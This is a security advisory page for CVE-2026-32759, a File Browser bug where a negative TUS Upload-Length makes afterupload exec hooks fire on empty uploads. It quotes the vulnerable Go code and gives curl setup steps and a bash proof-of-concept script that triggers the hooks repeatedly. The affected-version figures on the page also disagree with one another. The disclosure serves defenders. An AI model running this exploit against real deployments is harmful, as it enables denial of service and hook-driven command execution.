CVE-2026-32759: File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely

Published Mar 16, 2026
·
Updated

Summary The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength → 0 >= -1), causing the server to fire afterupload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured afterupload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.

Details

Affected file: http/tushandlers.go

Vulnerable code - POST (register upload): go func getUploadLength(r http.Request) (int64, error) { uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64) // ← int64: accepts -1, -9223372036854775808, etc. if err != nil { return 0, fmt.Errorf("invalid upload length: %w", err) } return uploadOffset, nil }

// In tusPostHandler: uploadLength, err := getUploadLength(r) // uploadLength = -1 (attacker-supplied) cache.Register(file.RealPath(), uploadLength) // stores -1 as expected size

Vulnerable code - PATCH (write chunk): go // In tusPatchHandler: newOffset := uploadOffset + bytesWritten // 0 + 0 = 0 (empty body) if newOffset >= uploadLength { // 0 >= -1 → TRUE immediately! cache.Complete(file.RealPath()) = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user) // ← afterupload hook fires with empty or partial file }

The completion check uses signed comparison. Any negative uploadLength is always less than newOffset (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.

Consequence: An attacker with upload permission can: 1. Initiate a TUS upload for any filename with Upload-Length: -1 2. Send a PATCH with an empty body (Upload-Offset: 0) 3. afterupload hook fires immediately with a 0-byte (or partial) file 4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook

If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.

Demo Server Setup

bash docker run -d --name fb-tus \ -p 8080:80 \ -v /tmp/fb-tus:/srv \ -e FBEXECER=true \ filebrowser/filebrowser:v2.31.2

ADMINTOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}')

Configure a visible afterupload hook curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMINTOKEN" \ -H 'Content-Type: application/json' \ -d '{ "commands": { "afterupload": ["bash -c \"echo HOOKFIRED: $FILE $(date) >> /tmp/hooklog.txt\""] } }'

PoC Exploit

bash #!/bin/bash poctusnegativelength.sh

TARGET="http://localhost:8080"

Login as any user with upload permission TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[] Token: ${TOKEN:0:40}..."

FILENAME="/triggertest$(date +%s).txt"

echo "[] Step 1: POST TUS upload with Upload-Length: -1" curl -s -X POST "$TARGET/api/tus$FILENAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: -1" \ -H "Content-Length: 0" \ -v 2>&1 | grep -E "HTTP|Location"

echo "" echo "[] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)" curl -s -X PATCH "$TARGET/api/tus$FILENAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Content-Length: 0" \ -v 2>&1 | grep -E "HTTP|Upload"

echo "" echo "[] Checking hook log on server (/tmp/hooklog.txt)..." echo "[] If hook fired, you will see entries like:" echo " HOOKFIRED: /srv/triggertestXXXX.txt <timestamp>"

echo "" echo "[] Repeating 5 times to demonstrate unlimited hook triggering..." for i in $(seq 1 5); do FNAME="/spamhook$i.txt" curl -s -X POST "$TARGET/api/tus$FNAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: -1" \ -H "Content-Length: 0" > /dev/null curl -s -X PATCH "$TARGET/api/tus$FNAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Content-Length: 0" > /dev/null echo " Hook trigger $i sent" done echo "[] Done - 5 hooks fired with 0 bytes uploaded."

Impact

Exec Hook Abuse (when enableExec = true): An attacker can trigger any afterupload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:

- Denial of Service: Triggering expensive processing hooks (virus scanning, transcoding, ML inference) with zero cost on the attacker's side. - Command Injection amplification: Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE. - Business logic abuse: Triggering upload-driven workflows (S3 ingestion, database inserts, notifications) with empty payloads or arbitrary filenames.

Hook-free impact: Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.

Who is affected: All deployments using the TUS upload endpoint (/api/tus). The enableExec flag amplifies the impact from cache inconsistency to remote command execution.

Resolution

This vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.

Other sources

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions on the 2.x branch prior to 2.33.8, the TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative, allowing an authenticated user to supply a negative value that instantly satisfies the upload completion condition upon the first PATCH request. This causes the server to fire afterupload exec hooks with empty or partial files, enabling an attacker to repeatedly trigger any configured hook with arbitrary filenames and zero bytes written. The impact ranges from DoS through expensive processing hooks, to command injection amplification when combined with malicious filenames, to abuse of upload-driven workflows like S3 ingestion or database inserts. Even without exec hooks enabled, the negative Upload-Length creates inconsistent cache entries where files are marked complete but contain no data. All deployments using the TUS upload endpoint (/api/tus) are affected, with the enableExec flag escalating the impact from cache inconsistency to remote command execution. This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities.

MITRE

Affected Software

2 affected components
go/github.com/filebrowser/filebrowser/v2<=2.61.1
Filebrowser Filebrowser<=2.61.2

Event History

Mar 16, 2026
Advisory Published
via GitHub·08:43 PM
Data Sourced
via GitHub·08:43 PM
DescriptionWeaknessAffected Software
Mar 19, 2026
CVE Published
via MITRE·11:31 PM
Data Sourced
via MITRE·11:31 PM
DescriptionWeakness
Mar 20, 2026
Data Sourced
via NVD·12:16 AM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32759?

CVE-2026-32759 is considered a moderate severity vulnerability due to its potential to trigger unexpected behavior during file uploads.

2

How do I fix CVE-2026-32759?

To fix CVE-2026-32759, ensure that the Upload-Length header is validated to prevent negative values before processing it in your application.

3

Which versions are affected by CVE-2026-32759?

CVE-2026-32759 affects versions of the File Browser TUS resumable upload handler up to and including 2.61.1.

4

What types of attacks can CVE-2026-32759 facilitate?

CVE-2026-32759 can potentially facilitate denial-of-service attacks by causing unexpected failures during upload processes.

5

Is there a workaround for CVE-2026-32759?

A possible workaround for CVE-2026-32759 is to implement input validation on the Upload-Length header before it reaches the upload handler.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203